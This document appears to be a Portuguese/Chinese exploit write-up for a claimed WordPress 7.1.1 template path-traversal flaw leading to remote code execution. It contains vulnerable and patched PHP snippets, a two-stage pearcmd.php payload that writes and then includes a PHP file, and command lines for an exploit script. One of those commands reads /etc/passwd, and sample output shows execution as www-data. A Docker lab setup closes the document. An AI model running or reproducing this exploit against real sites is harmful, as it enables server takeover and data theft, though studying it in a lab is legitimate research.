// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

阶段 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → traversal 包含 /usr/local/lib/php/pearcmd.php
           → argv 来自原始 query string（register_argc_argv=On）
           → config-create 将 payload 写入 /tmp/wp-pear-rce.php（12 份序列化副本）

阶段 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → 同一 traversal 包含生成的文件 → system(<--command>) 以 www-data 运行

# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:

docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v